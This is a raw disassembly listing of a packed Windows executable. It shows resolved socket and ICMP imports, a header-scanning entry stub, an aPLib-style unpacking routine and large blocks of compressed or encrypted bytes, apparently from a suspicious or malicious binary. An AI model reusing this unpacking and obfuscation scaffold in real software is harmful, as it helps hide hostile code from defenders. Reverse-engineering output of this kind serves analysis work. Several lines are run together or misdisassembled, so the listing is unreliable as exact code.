dword_44B197	dd 0							; sub_4269A0+8Cr ...
dword_44B19B	dd 0							; sub_4269A0+9Dr
dword_44B19F	dd 0							; ___:004241D1r ...
byte_44B1A3	db 0			; DATA XREF: sub_426930+42w
					; sub_4269A0+85w
dword_44B1A4	dd 2828h dup(0)
		db 3 dup(0)
byte_455247	db 0			; DATA XREF: ___:off_446EFCo
dword_455248	dd 0EB85h dup(0)
dword_49005C	dd 0BD23h dup(0)		db 0
byte_4BF4E9	db 3 dup(0)		; DATA XREF: ___:off_402027o
		dd 53D8h dup(0)
		db 0
byte_4D444D	db 3 dup(0)		; DATA XREF: ___:off_445314o
dword_4D4450	dd 0ECEh dup(0)
		db 3 dup(0)
dword_4D7F8B	dd 0							; sub_426BD0+13o
		align 10h
		dd 39h dup(0)
		db 0
byte_4D8075	db 3 dup(0)		; DATA XREF: sub_404C70+1Eo
					; sub_404CC0+65o ...
		dd 5 dup(0)
byte_4D808C	db 0			; DATA XREF: sub_404CC0+292w
					; sub_404CC0+4EBw
dword_4D808D	dd 0							; sub_422B40:loc_4232C4r ...
		align 4
		dd 0
		db 0
dword_4D8099	dd 0							; sub_404C70+2Aw
byte_4D809D	db 3 dup(0)		; DATA XREF: ___:00412FC4o
					; ___:00412FE7o
		dd 9 dup(0)
		db 3 dup(0)
dword_4D80C7	dd 0							; sub_428DC0:loc_428EB7r
		align 4
		dd 2Fh dup(0)
		db 3 dup(0)
byte_4D818B	db 0			; DATA XREF: sub_426B60+16o
					; sub_426B90+19o
		db 3 dup(0)
byte_4D818F	db 0			; DATA XREF: sub_426A90+4Co
		dd 6Fh dup(0)
		db 3 dup(0)
byte_4D834F	db 0			; DATA XREF: ___:00408295o
					; ___:00408726o ...
		dd 8 dup(0)
dword_4D8370	dd 0				dd 51h dup(0)
		db 0
byte_4D84B9	db 0			; DATA XREF: sub_427B10:loc_427BC0r
					; sub_427FD0:loc_428085r ...
		align 4
		dd 9Eh dup(0)
		db 0
dword_4D8735	dd 0							; sub_427FD0+7Dw ...
		align 4
		dd 1EDAh dup(0)
		db 0
byte_4E02A5	db 3 dup(0)		; DATA XREF: ___:00419F93o
					; sub_41A050+13o
		dd 1EB9h dup(0)
		db 3 dup(0)
byte_4E7D8F	db 0			; DATA XREF: sub_427D50+1Do
		dd 21h dup(0)
		db 0
byte_4E7E15	db 3 dup(0)		; DATA XREF: ___:00419FA3o
		dd 235h	dup(0)
		db 3 dup(0)
byte_4E86EF	db 0			; DATA XREF: sub_427D50+2Fo
		dd 1D5h	dup(0)
byte_4E8E44	db 0			; DATA XREF: sub_404CC0+299w
					; sub_410030:loc_410072r ...
byte_4E8E45	db 3 dup(0)		; DATA XREF: sub_404CC0+235o
					; sub_404CC0+874o ...
		dd 4 dup(0)
		db 2 dup(0)
word_4E8E5A	dw 0			; DATA XREF: sub_404CC0+2D4o
					; ___:0040873Ao ...
		dd 0Fh dup(0)
		db 0
byte_4E8E99	db 0			; DATA XREF: sub_41F960+31w
					; sub_41F960+47w ...
		db 0
byte_4E8E9B	db 0			; DATA XREF: sub_418590+21o
					; sub_41D930+341o ...
		dd 0EE2h dup(0)
dword_4ECA24	dd 20FBh dup(0)	dword_4F4E10	dd 3D51h dup(0)	dword_504354	dd 12B6h dup(0)	dword_508E2C	dd 1000h dup(0)						; ___:00419B9Do ...
dword_50CE2C	dd 333h	dup(0)						; ___:00419BB8o ...
dword_50DAF8	dd 0							; sub_41A110+1Br ...
		dd 3 dup(0)
dword_50DB08	dd 0							; ___:0041FC3Dw ...
dword_50DB0C	dd 0							; sub_41FB90+2Aw ...
dword_50DB10	dd 0		dword_50DB14	dd 0							; ___:0041FC5Bw
dword_50DB18	dd 0		dword_50DB1C	dd 0							; ___:0041FC67w ...
dword_50DB20	dd 0							; ___:0041FC6Dw ...
dword_50DB24	dd 0							; ___:00420EA9o
dword_50DB28	dd 0							; sub_41FB90:loc_41FBB4r ...
dword_50DB2C	dd 0							; ___:0041FC81w
dword_50DB30	dd 0							; sub_420630+41w ...
dword_50DB34	dd 0							; sub_420630+7Fr
dword_50DB38	dd 0							; sub_420630+92r ...
dword_50DB3C	dd 0							; sub_420630+148r
		dd 3 dup(0)
dword_50DB4C	dd 0							; ___:0041C2A5o
dword_50DB50	dd 0							; sub_423820+5r ...
dword_50DB54	dd 0							; ___:00423FABr ...
		dd 7CEh	dup(0)
dword_50FA90	dd 6 dup(0)						; ___:00423EAFo ...
dword_50FAA8	dd 196h	dup(0)						; sub_423760+6Do
dword_510100	dd 0		word_510104	dw 0			; DATA XREF: sub_424F70+A9r
		align 4
word_510108	dw 0			; DATA XREF: sub_4253C0+45r
					; sub_4257F0+DAr
		align 4
dword_51010C	dd 0				dd 0
byte_510114	db 0			; DATA XREF: sub_4267D0:loc_426830r
					; sub_4267D0+97w
		align 4
dword_510118	dd 0		; resolved to->IPHLPAPI.IcmpSendEcho					; sub_427B10+D9r
dword_51011C	dd 0		; resolved to->IPHLPAPI.IcmpCreateFile					; sub_427B10+45r
dword_510120	dd 0		; resolved to->IPHLPAPI.IcmpCloseHandle					; sub_427B10+54r ...
		align 8
dword_510128	dd 80h dup(0)						; sub_427D50+129o
dword_510328	dd 0		dword_51032C	dd 0				dd 1Dh dup(0)
dword_5103A4	dd 0							; ___:0042C40Dr ...
dword_5103A8	dd 0							; sub_42DE00:loc_42DE96r ...
dword_5103AC	dd 0		; resolved to->WS2_32.connect					; sub_432570+2Dr ...
dword_5103B0	dd 0		dword_5103B4	dd 0							; sub_431560r ...
dword_5103B8	dd 0		dword_5103BC	dd 0							; sub_4309A0+111w ...
dword_5103C0	dd 0							; sub_4309A0+F6r ...
dword_5103C4	dd 0							; ___:loc_4316A0r
dword_5103C8	dd 0		; resolved to->KERNEL32.InterlockedCompareExchange					; sub_4322D0+2Cr ...
		dd 2 dup(0)
		dd 0
		dd 13Ah	dup(0)
dword_5108C0	dd 10h dup(0)						; sub_431470:loc_4314A0o ...
dword_510900	dd 8 dup(0)						; sub_430830+25o ...
dword_510920	dd 8 dup(0)						; sub_431980+25o ...
dword_510940	dd 8 dup(0)						; sub_432850+84o ...
dword_510960	dd 8 dup(0)						; sub_432850+8Bo ...
dword_510980	dd 9 dup(0)						; sub_4309A0:loc_430AB7o ...
		dd 0FFFFFFFFh, 3 dup(0)
		dd 0FFFFFFFFh, 192h dup(0)
		dd 5 dup(7BEC9A8Ah), 5 dup(1451FF68h), 5 dup(49F7A5D4h)
		dd 5 dup(2543E9DCh), 5 dup(56ACA8E5h), 5 dup(6659468Eh)
		dd 5 dup(67D9BD9Eh), 5 dup(472EA8FBh), 5 dup(2BAA0349h)
		dd 5 dup(4335B3C7h), 5 dup(6D755876h), 1Eh dup(0)
		dd 6659468Eh, 10h dup(0)
aVxum		db 'vXum',0
		align 10h
		dd 58h dup(0)
		dd 2543E9DCh, 1Ch dup(0)
		dd 2BAA0349h, 14h dup(0)
		dd 1451FF68h, 52h dup(0)
		dd 7BEC9A8Ah, 1Bh dup(0)
		dd 4335B3C7h, 0Bh dup(0)
		dd 67D9BD9Eh, 0Ch dup(0)
		dd 56ACA8E5h, 2Bh dup(0)
		dd 472EA8FBh, 11h dup(0)
		dd 49F7A5D4h, 0Ah dup(0)
		dd 28A0000h, 28B0000h, 28C0000h
dword_511718	dd 28C136Fh			dd 28C1568h
dword_511720	dd 28C17F1h			dd 28C1A9Eh, 28D0000h
dword_51172C	dd 28E0000h			dd 28F0000h, 28F0476h, 28F081Fh, 28F0BD9h
dword_511740	dd 2900000h						; sub_40E870+25Ar ...
dword_511744	dd 29004A2h	dword_511748	dd 2900735h			dd 2900913h, 2900C69h
dword_511754	dd 2910000h						; sub_40EE40+15Er ...
		dd 29102A5h
dword_51175C	dd 2920000h						; sub_40E870+22Cr
		dd 2920C76h
dword_511764	dd 2930000h						; sub_4208E0+285r ...
		dd 2940000h
dword_51176C	dd 29410AEh						; sub_40E870+24Cr
		dd 10h dup(0)
		dd 76F36C5Bh, 0Bh dup(0)
dword_5117E0	dd 2700000h						; sub_420630+FEr
		dd 2710000h, 2720000h, 27206CBh, 27208E7h, 2720C1Ah, 2720D87h
		dd 2730000h, 27306BDh, 2730B3Ah, 2740000h, 274018Fh, 27407B5h
		dd 274080Bh, 2740B1Ch, 2750000h, 27503E2h, 2750708h, 2750938h
		dd 2750C9Ch, 2760000h, 2760478h, 2760555h, 2760880h, 2760A84h
		dd 2760CD3h, 2770000h, 27701C0h, 27703EBh, 27704F4h, 2770668h
		dd 27706F2h, 2780000h
dword_511864	dd 2780853h	dword_511868	dd 2790000h	dword_51186C	dd 27901E6h			dd 7C901005h, 7C9010EDh, 279036Bh, 27903BEh, 27903EBh
		dd 27905DCh, 27A0000h, 27A0544h, 27A08A4h, 27B0000h, 27C0000h
		dd 27C0890h, 27D0000h, 27E0000h, 27E07CFh
dword_5118AC	dd 27E0B37h						; sub_410030+47r ...
		dd 27E0BD7h, 27F0000h, 27F0531h, 2800000h, 2801125h, 2810000h
		dd 2820000h
dword_5118CC	dd 28216A2h			dd 28218A0h, 2821CC6h
dword_5118D8	dd 2830000h						; sub_41B5B0+2Fr ...
		dd 2830156h
dword_5118E0	dd 2830942h						; sub_4204D0+2Er ...
		dd 2840000h, 284030Bh, 2850000h
dword_5118F0	dd 28502BBh			dd 2850517h, 2860000h, 2870000h, 2871069h, 2871BC3h, 2880000h
		dd 28807AFh, 2880B61h
		dd 2890000h
dword_511918	dd 2890479h						; sub_420630:loc_42067Cr ...
		dd 1Ah dup(0)
		dd 71B2578Ch, 71B2517Fh, 71B25099h, 0Bh	dup(0)
		dd 76085AE4h, 760976AFh, 7608B84Ch, 76081F67h, 760A0430h
		dd 7608F485h, 7609202Eh, 760A044Fh, 760A036Bh
dword_5119E0	dd 760AC190h			dd 0Dh dup(0)
; ---------------------------------------------------------------------------
		xchg	eax, esp
		pop	esp
		retn
; ---------------------------------------------------------------------------
		ja	short loc_511A99
		push	ebx
		retn
; ---------------------------------------------------------------------------
		db 77h
		db 0DBh	; Û
		db 0F1h	; ñ
		db 0C1h	; Á
		db  77h	; w
; ---------------------------------------------------------------------------


loc_511A24:				; CODE XREF: ___:00511A34j
		movsb
		icebp
		sal	dword ptr [edi-28h], 23h
		mov	byte ptr [edi+75h], 0D6h
		les	esi, [edi+67h]
		popf
		retn
; ---------------------------------------------------------------------------
		db 77h
; ---------------------------------------------------------------------------
		jmp	short loc_511A24
; ---------------------------------------------------------------------------
		sal	dword ptr [edi-54h], 17h
		mov	byte ptr [edi-52h], 2Dh
		retn
; ---------------------------------------------------------------------------
		db 77h
		dd 77C39E9Ah, 77C34DF8h, 77C34E51h, 77C21868h, 77C40BB1h
		dd 77C36D74h, 77C3619Ch, 77C49113h, 77C3A307h, 77C3A3DBh
		dd 77C4186Ah
dword_511A6C	dd 77C3F931h	; resolved to->MSVCRT.sprintf					; sub_42E5B0+53r ...
dword_511A70	dd 77C1F2BCh	; resolved to->MSVCRT._errno		dd 77C371FAh, 77C36DF2h
dword_511A7C	dd 77C5F97Ch	; resolved to->MSVCRT.__mb_cur_max		dd 77C4EE2Fh, 77C227FAh, 77C2C0C3h
dword_511A8C	dd 77C40E13h	; resolved to->MSVCRT.fprintfdword_511A90	dd 77C5FC80h	; resolved to->MSVCRT._iob					; sub_42DE00+4Ar ...
; ---------------------------------------------------------------------------
		imul	dh
		retn
; ---------------------------------------------------------------------------
		db 77h
		db 72h
; ---------------------------------------------------------------------------


loc_511A99:				; CODE XREF: ___:00511A1Bj
		sbb	eax, esp
; ---------------------------------------------------------------------------
		db 77h
dword_511A9C	dd 77C47BE0h	; resolved to->MSVCRT.strrchrdword_511AA0	dd 77C4173Bh	; resolved to->MSVCRT.fwritedword_511AA4	dd 77C4139Ch	; resolved to->MSVCRT.fseekdword_511AA8	dd 77C4624Eh	; resolved to->MSVCRT._stricmpdword_511AAC	dd 77C41574h	; resolved to->MSVCRT.ftelldword_511AB0	dd 77C411FBh	; resolved to->MSVCRT.fread		dd 77C40E76h
dword_511AB8	dd 77C47E61h	; resolved to->MSVCRT.wcscat					; ___:0041C3DAr
; ---------------------------------------------------------------------------
		adc	al, dh
		retn
; ---------------------------------------------------------------------------
		db 77h
		dd 77C40AB1h, 77C4FA10h
dword_511AC8	dd 77C371D3h	; resolved to->MSVCRT.rand					; sub_41BA50+17Er ...
		dd 77C371BCh
dword_511AD0	dd 77C2C21Bh	; resolved to->MSVCRT.free					; sub_42F2C0+34r ...
		dd 77C2C407h
dword_511AD8	dd 77C47920h	; resolved to->MSVCRT.strncat		dd 77C39E7Eh
dword_511AE0	dd 77C47A50h	; resolved to->MSVCRT.strncmp					; sub_42DE00+90r
dword_511AE4	dd 77C3FA76h	; resolved to->MSVCRT._snprintf					; sub_426070+C8r ...
		db 90h
		db 0CFh, 0C1h, 77h
dword_511AEC	dd 77C47660h	; resolved to->MSVCRT.strchr		db 8Ah,	0FFh
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 77h
; ---------------------------------------------------------------------------
		mul	byte ptr [esi]
		retn	0E777h
; ---------------------------------------------------------------------------
		db 14h,	0C2h, 77h
		dd 77C29CC5h
dword_511B00	dd 77C47CE5h	; resolved to->MSVCRT.strtok					; sub_41BD90+5Dr
dword_511B04	dd 77C47C60h	; resolved to->MSVCRT.strstr					; sub_410030+1126r ...
dword_511B08	dd 77C47A90h	; resolved to->MSVCRT.strncpy					; ___:00419CDAr
		dd 77C29CDDh, 77C293C7h
dword_511B14	dd 77C1BF18h	; resolved to->MSVCRT.atoi					; sub_422B40+203r ...
		dd 77C35F0Dh
dword_511B1C	dd 77C5F988h	; resolved to->MSVCRT._pctype		dd 77C46170h, 77C1C561h, 77C46125h
		dd 77C46320h
		dd 19h dup(0)
		dd 76BF215Ah, 76BF1F1Ch, 76BF3A9Ah, 0Bh	dup(0)
		dd 7CA41110h, 0Bh dup(0)
		dd 2890BC4h
off_511C00	dd offset sub_5FADE9	; DATA XREF: ___:00419FBDr
					; sub_41A050+2Dr ...
		dd 0Bh dup(0)
		dd 71AB951Eh, 71AB3E00h
dword_511C38	dd 71AB2B66h	; resolved to->WS2_32.ntohs					; sub_425100:loc_4251B2r ...
dword_511C3C	dd 71AB3B91h	; resolved to->WS2_32.socket					; sub_42B8E0:loc_42B99Br
		dd 71AB406Ah, 71AB4428h, 71AB664Dh, 71AB50C8h
dword_511C50	dd 71AB94DCh	; resolved to->WS2_32.WSAGetLastError		dd 71AB4544h, 71AC0B50h
dword_511C5C	dd 71AB2B66h	; resolved to->WS2_32.ntohs		dd 71AB2BC0h
dword_511C64	dd 71AB2D0Fh	; resolved to->WS2_32.recvfromdword_511C68	dd 71AB2C69h	; resolved to->WS2_32.sendto					; sub_42B8E0+F9r
		dd 71AB3EA1h, 71AB8769h, 71AB4489h, 71ABE6EBh, 71AC0BDEh
		dd 71AB2A5Eh, 71AB4FD4h
dword_511C88	dd 71AB3F41h	; resolved to->WS2_32.inet_ntoa		dd 71AB88D3h, 71AB2BC0h
dword_511C94	dd 71AB2DC0h	; resolved to->WS2_32.select					; sub_41A7D0+48r ...
dword_511C98	dd 71AC1028h	; resolved to->WS2_32.acceptdword_511C9C	dd 71AB9639h	; resolved to->WS2_32.closesocket					; sub_41F960+198r ...
dword_511CA0	dd 71AB428Ah	; resolved to->WS2_32.send					; ___:004217E1r ...
dword_511CA4	dd 71AB615Ah	; resolved to->WS2_32.recv					; sub_4253C0+8Br ...
		dd 71AB2BF4h
dword_511CAC	dd 71AB4519h	; resolved to->WS2_32.ioctlsocket					; sub_42C830+E8r
		dd 71ABE479h, 11h dup(0)
		dd 76D6AC1Dh, 4C1h dup(0)
___		ends

; Section 2. (virtual address 00113000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 00113000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_rsrc___	segment	para public 'DATA' use32
		assume cs:_rsrc___
		;org 513000h
		align 2000h
_rsrc___	ends

; Section 3. (virtual address 00114000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 00114000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata__	segment	para public 'DATA' use32
		assume cs:_idata__
		;org 514000h
		dd 7C801A24h, 7C81CDDAh, 0
aE		db 'Ïe',9,']',0
		align 10h
		dd 114050h, 114000h, 3 dup(0)
		dd 114079h, 11400Ch, 5 dup(0)
aKernel32_dll_1	db 'KERNEL32.dll',0
		db 2 dup(0), 43h
aReatefilea	db 'reateFileA',0
		align 4
		dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h
		dd 6C642E32h, 6Ch
aInitcommoncont	db 'InitCommonControls',0
		align 1000h
_idata__	ends

; Section 4. (virtual address 00115000)
; Virtual size			: 00106000 (1073152.)
; Section size in file		: 00106000 (1073152.)
; Offset to raw	data for section: 00115000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
sdfs____	segment	para public 'DATA' use32
		assume cs:sdfs____
		;org 515000h
		dd 0D970FBCFh, 40D66h, 5F820h, 15A172h,	0

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near

var_1C		= dword	ptr -1Ch

; FUNCTION CHUNK AT 00515265 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00583DBA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00587353 SIZE 00000062 BYTES
; FUNCTION CHUNK AT 005875C9 SIZE 000000E9 BYTES
; FUNCTION CHUNK AT 005876E8 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 00587723 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00587738 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0058775B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00587764 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00587783 SIZE 00000017 BYTES

		mov	eax, 0
		pusha
		or	eax, eax
		jz	short loc_515086
		call	$+5
		pop	eax
		add	eax, 53h
		cmp	byte ptr [eax],	0E9h
		jnz	short loc_515041
		popa
		jmp	short loc_515076
; ---------------------------------------------------------------------------
a7pq		db 'Û-7PQ',0
		db 0FFh
		dd 0FFFFFFFFh, 3DFFFFFFh
		db 40h
; ---------------------------------------------------------------------------


loc_515041:				; CODE XREF: start+18j
		call	$+5
		pop	eax
		and	eax, 0FFFFF000h
		xor	edi, edi


loc_51504E:				; CODE XREF: start+5Ej
		mov	bx, 5A19h
		add	bx, 34h
		cmp	[eax], bx
		jnz	short loc_51506D
		movzx	edx, word ptr [eax+3Ch]
		add	edx, eax
		mov	ebx, 44E9h
		add	ebx, 67h
		cmp	[edx], ebx
		jz	short loc_515074


loc_51506D:				; CODE XREF: start+45j
		sub	eax, 1000h
		jmp	short loc_51504E
; ---------------------------------------------------------------------------


loc_515074:				; CODE XREF: start+57j
		mov	edi, eax


loc_515076:				; CODE XREF: start+1Bj
		jmp	loc_515265
; ---------------------------------------------------------------------------
		db 3
		dd 526AB9C7h, 0CF030011h
		db 0EBh, 0Ah
; ---------------------------------------------------------------------------


loc_515086:				; CODE XREF: start+8j
		mov	eax, offset loc_583DBA
		mov	ecx, offset word_51526A
		push	eax
		push	ecx
		call	sub_51511B
		call	$+5
		pop	eax
		sub	eax, 26h
		mov	ecx, 1EFh
		mov	byte ptr [eax],	0E9h
		sub	ecx, 5
		mov	[eax+1], ecx
		popa
		jmp	loc_515265
start		endp ; sp-analysis failed

; ---------------------------------------------------------------------------
aUFkxB		db '(“ÉäŠx¼^',0
		dd 63432DA8h, 0F065446Ch, 3ADC23BEh, 759CA4D8h,	3163C78Eh
		dd 93264C98h, 78F2E4C9h, 172F5EBCh, 9122458Bh, 0D8B164C8h
		dd 0DCBA75EBh, 1D3B76EDh, 5A4E2BEFh, 1848C86h, 662A4924h
		dd 1799B7DEh, 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh
		dd 3163C78Eh, 93264C98h
		db 0C8h, 0E4h, 0F2h

; =============== S U B	R O U T	I N E =======================================



sub_51511B	proc near		; CODE XREF: start+7Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	esi, [esp+20h+arg_0]
		mov	edi, [esp+20h+arg_4]
		cld
		mov	dl, 80h


loc_515127:				; CODE XREF: sub_51511B:loc_51513Bj
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		mov	ebx, 2


loc_515132:				; CODE XREF: sub_51511B+7Aj
					; sub_51511B+C3j ...
		add	dl, dl
		jnz	short loc_51513B
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_51513B:				; CODE XREF: sub_51511B+19j
		jnb	short loc_515127
		add	dl, dl
		jnz	short loc_515146
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_515146:				; CODE XREF: sub_51511B+24j
		jnb	short loc_515197
		xor	eax, eax
		add	dl, dl
		jnz	short loc_515153
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_515153:				; CODE XREF: sub_51511B+31j
		jnb	loc_515238
		add	dl, dl
		jnz	short loc_515162
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_515162:				; CODE XREF: sub_51511B+40j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_51516D
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_51516D:				; CODE XREF: sub_51511B+4Bj
		adc	eax, eax
		add	dl, dl
		jnz	short loc_515178
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_515178:				; CODE XREF: sub_51511B+56j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_515183
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_515183:				; CODE XREF: sub_51511B+61j
		adc	eax, eax
		jz	short loc_51518D
		push	edi
		sub	edi, eax
		mov	al, [edi]
		pop	edi


loc_51518D:				; CODE XREF: sub_51511B+6Aj
		mov	[edi], al
		inc	edi
		mov	ebx, 2
		jmp	short loc_515132
; ---------------------------------------------------------------------------


loc_515197:				; CODE XREF: sub_51511B:loc_515146j
		mov	eax, 1


loc_51519C:				; CODE XREF: sub_51511B:loc_5151B0j
		add	dl, dl
		jnz	short loc_5151A5
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5151A5:				; CODE XREF: sub_51511B+83j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_5151B0
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5151B0:				; CODE XREF: sub_51511B+8Ej
		jb	short loc_51519C
		sub	eax, ebx
		mov	ebx, 1
		jnz	short loc_5151E3
		mov	ecx, 1


loc_5151C0:				; CODE XREF: sub_51511B:loc_5151D4j
		add	dl, dl
		jnz	short loc_5151C9
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5151C9:				; CODE XREF: sub_51511B+A7j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_5151D4
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5151D4:				; CODE XREF: sub_51511B+B2j
		jb	short loc_5151C0
		push	esi
		mov	esi, edi
		sub	esi, ebp
		rep movsb
		pop	esi
		jmp	loc_515132
; ---------------------------------------------------------------------------


loc_5151E3:				; CODE XREF: sub_51511B+9Ej
		dec	eax
		shl	eax, 8
		mov	al, [esi]
		inc	esi
		mov	ebp, eax
		mov	ecx, 1


loc_5151F1:				; CODE XREF: sub_51511B:loc_515205j
		add	dl, dl
		jnz	short loc_5151FA
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5151FA:				; CODE XREF: sub_51511B+D8j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_515205
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_515205:				; CODE XREF: sub_51511B+E3j
		jb	short loc_5151F1
		cmp	eax, 7D00h
		jnb	short loc_515228
		cmp	eax, 500h
		jb	short loc_515223
		inc	ecx
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_515132
; ---------------------------------------------------------------------------


loc_515223:				; CODE XREF: sub_51511B+F8j
		cmp	eax, 7Fh
		ja	short loc_51522B


loc_515228:				; CODE XREF: sub_51511B+F1j
		add	ecx, 2


loc_51522B:				; CODE XREF: sub_51511B+10Bj
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_515132
; ---------------------------------------------------------------------------


loc_515238:				; CODE XREF: sub_51511B:loc_515153j
		mov	al, [esi]
		inc	esi
		xor	ecx, ecx
		shr	al, 1
		jz	short loc_515259
		adc	ecx, 2
		mov	ebp, eax
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		mov	ebx, 1
		jmp	loc_515132
; ---------------------------------------------------------------------------


loc_515259:				; CODE XREF: sub_51511B+125j
		sub	edi, [esp+20h+arg_4]
		mov	[esp+20h+var_4], edi
		popa
		retn	8
sub_51511B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_515265:				; CODE XREF: start:loc_515076j
					; start+9Dj
		jmp	loc_583DBA
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
word_51526A	dw 38E9h		; DATA XREF: start+77o
		dd 1533594h, 8733BCFFh,	0FFAE46B8h, 1AE19222h, 0FE101FCh
		dd 0F473B9FEh, 685400AFh, 64696D65h, 66778F61h,	1BE10311h
		dd 8B36FCBBh, 0F0A13B84h, 0F51DC204h, 73655240h, 72613974h
		dd 5E70419Ch, 38789F2Eh, 8E4EAB43h, 0A447AF44h,	0C47826EAh
		dd 716E7E75h, 0BFEB1103h, 0AE19822h, 2A7EFDAEh,	21F3BE60h
		dd 0DF850370h, 0FC582491h, 191FEAEh, 0E13522BEh, 22F2EE0Ah
		dd 0AB2A843Bh, 0C8C58BF1h, 0E87060D4h, 815D88h,	0E935A3EDh
		dd 71958907h, 0B50D0C61h, 85102F75h, 83800BA1h,	831DE2BDh
		dd 8B0C7480h, 0E22DE872h, 0C2C5A7B8h, 714470BCh, 0C53EC424h
		dd 456A0109h, 2983A3E8h, 83749A68h, 1DFA5E7h, 894B250Ah
		dd 10D5E90Ah, 0A50214E9h
		db 0ECh, 7Dh, 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD8h
		lodsb
		out	dx, al
		add	al, 5Ah
		sub	edx, 8B003691h
		fcmovb	st, st(7)


loc_515351:				; CODE XREF: sdfs____:0051536Ej
		inc	ebp
		fcom	dword ptr [ecx+400EB108h]
		mov	[edi-33827EF8h], ecx
		sbb	byte ptr ds:200F6774h, 8
		repne cmp ebx, 49h
		adc	bh, bh
		xchg	dl, [edx]
		inc	ebx
		jmp	short loc_515351
; ---------------------------------------------------------------------------
		dd 61DC3736h, 0C2C94126h, 81464004h, 0FF687CC4h, 0DAE44902h
		dd 80458D40h, 8145D8Bh,	441985C7h, 0AA08D50h, 880AC3D1h
		dd 0B894118h, 6BD818Ah,	75295D20h, 8D4227E3h, 0C0648EBAh
		dd 0E8A8075h, 5BF449BBh, 37ABB800h, 0D0D37854h,	8C30FFCh
		dd 0B0F7754Bh, 5247C3AFh, 46464A46h, 2B42F92Ah,	0A08A61D1h
		dd 0FDF075D0h, 0FC45EE8Ah, 4EB0A4Dh, 468C3CADh,	0F7403E80h
		dd 6E84BA53h, 0C7D6134h, 3E907FEBh, 126DCCF8h, 0ECA84F0h
		dd 4A8110F4h, 4F065C1h,	0D1F8D640h, 0C20339E0h,	0DB332860h
		dd 301C1C8Ah, 72CCFB80h, 3D390A0Ah, 0EB3E0577h,	142267F2h
		dd 0A0DF661h, 86F667Fh,	0C34E5F1Eh, 1A10AC0Ah, 0B723041h
		dd 677460Ah, 18A224DEh,	0ECF05D01h, 7D7383F4h, 0B072021Bh
		dd 76C0370Ch, 26AA66A5h, 7CEF841h, 0A86A8Dh, 0FFC553Bh
		dd 0BDA97882h, 0BEAAC1B0h, 8BA5038h, 70E0B9E0h,	20BDFCA8h
		dd 1FE3840h, 7549470Fh,	0C522B9FAh, 1BBDC6Ah, 0F1125107h
		dd 26DEB82h, 0F868ED8h,	8EA39F9h, 360F65EEh, 8A3B77D1h
		dd 0F9E9C426h, 0BC675910h, 8C2C2201h, 5CF952D9h, 2861C3D8h
		dd 3138A10h, 0FB8C6753h, 46306260h, 0E881A8F1h,	70CBF863h
		dd 82670034h, 765B4E39h, 0B807100Fh, 0D1043D51h, 46643BC7h
		dd 2E097503h, 0E0111ABh, 65E4EC48h, 36400690h, 0C05C584h
		dd 3A0C968Eh, 0A8F53CCh, 8129C204h, 8205718Ch, 0A60EB7E7h
		dd 182BFF66h, 22047781h, 0C103341Dh, 7533F984h,	3FBC2020h
		dd 0EFEC0AEEh, 670230CEh, 8C13EC41h, 0FFCC3F7Fh, 459F4021h
		dd 0A060E9D4h, 152C462h, 11254D8Ch, 9B1AA82h, 845AAB9Ah
		dd 4C561311h, 82155ECCh, 408117EEh, 8A89D5EDh, 1344B9F5h
		dd 4397230Ah, 28BC50h, 8C1993A2h, 0DA8D67DBh, 23CC8200h
		dd 0BC2E76B3h, 5DDD3EEDh, 5E28183h, 410014EAh, 1BC316D9h
		dd 883233h, 22F3A5CAh, 0CCDE2DA9h, 65E85407h, 10D10BAAh
		dd 378C3A86h, 0E40B09EAh, 88F0A800h, 0D691328h,	6A8619C8h
		dd 4202C21Ch, 2A201517h, 2B2380h, 5649FE3Dh, 0BFE3669Ch
		dd 96829400h, 0F9BBFF13h, 9EEA557Dh, 7AB84940h,	0FB2CA45Ch
